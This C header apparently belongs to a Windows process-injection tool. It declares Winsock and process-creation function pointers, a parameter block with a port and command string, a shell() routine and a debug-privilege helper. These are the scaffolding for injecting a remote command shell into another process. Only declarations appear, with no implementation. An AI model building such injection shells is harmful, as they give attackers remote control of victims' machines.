00001 #ifndef __INJECT__
00002 #define __INJECT__
00003
00004 #include <stdio.h>
00005 #include <winsock2.h>
00006
00007 #include <Winbase.h>
00008 #include <process.h>
00009 #include <Tlhelp32.h>
00010
00011
00012 #ifndef __BORLANDC__
00013 #pragma comment(lib, "ws2_32.lib")
00014 #pragma comment(lib,"advapi32.lib")
00015
00016
00017
00018
00019 #endif
00020
00021
00022
00023
00024 typedef int (WINAPI *BIND) ( SOCKET s,const struct sockaddr* name,int namelen);
00025 typedef SOCKET (WINAPI *ACCEPT) (SOCKET s,struct sockaddr* addr,int* addrlen);
00026 typedef int (WINAPI *LISTEN) (SOCKET s,int backlog);
00027 typedef int (WINAPI *WSASTARTUP) (WORD wVersionRequested,LPWSADATA lpWSAData);
00028 typedef SOCKET (WINAPI *WSASOCKET) ( int af,int type,int protocol,LPWSAPROTOCOL_INFO lpProtocolInfo,GROUP g,DWORD dwFlags);
00029 typedef int (WINAPI *WSACONNECT) ( SOCKET s,const struct sockaddr* name,int namelen,LPWSABUF lpCallerData,LPWSABUF lpCalleeData,LPQOS lpSQOS,LPQOS lpGQOS);
00030 typedef BOOL (WINAPI * CREATEPROCESS) (
00031 LPCTSTR lpApplicationName,LPTSTR lpCommandLine,LPSECURITY_ATTRIBUTES lpProcessAttributes,
00032 LPSECURITY_ATTRIBUTES lpThreadAttributes,BOOL bInheritHandles,DWORD dwCreationFlags,LPVOID lpEnvironment,
00033 LPCTSTR lpCurrentDirectory,LPSTARTUPINFO lpStartupInfo,LPPROCESS_INFORMATION lpProcessInformation);
00034 typedef HMODULE (WINAPI *LOADLIBRARY)(LPCTSTR lpFileName);
00035 typedef FARPROC (WINAPI *GETPROCADDRESS) ( HMODULE hModule, LPCSTR lpProcName);
00036
00037
00038 typedef struct _parametros{
00039 HANDLE WSAHandle;
00040 char wsastring[20];
00041 HANDLE KernelHandle;
00042 char kernelstring[20];
00043
00044 WSASTARTUP ShellWsaStartup;
00045 char wsastartupstring[20];
00046
00047 WSASOCKET ShellWSASocket;
00048 char WSASocketString[20];
00049
00050 WSACONNECT ShellWsaConnect;
00051 char WSAConnectstring[20];
00052
00053 BIND ShellBind;
00054 char bindstring[20];
00055
00056 ACCEPT ShellAccept;
00057 char acceptstring[10];
00058
00059 LISTEN ShellListen;
00060 char listenstring[10];
00061
00062 CREATEPROCESS KernelCreateProcess;
00063 char CreateProcessstring[20];
00064
00065 LOADLIBRARY KernelLoadLibrary;
00066 GETPROCADDRESS KernelGetProcAddress;
00067
00068
00069 unsigned short port;
00070 DWORD startup;
00071 unsigned short sizeofsa;
00072 unsigned short sizeofsi;
00073
00074
00075 char cmd[255];
00076 DWORD Zero;
00077 void *nulo;
00078
00079
00080
00081
00082 } PARAMETROS;
00083
00084 typedef struct _OWNER{
00085 DWORD pid;
00086 TCHAR username[256];
00087 TCHAR domainname[256];
00088 } OWNER;
00089
00090
00091 void __stdcall shell( PARAMETROS* );
00092
00093 int EnableDebugPriv( HANDLE proceso,LPCTSTR lpName );
00094 void doFormatMessage( unsigned int dwLastErr );
00095
00096
00097 #endif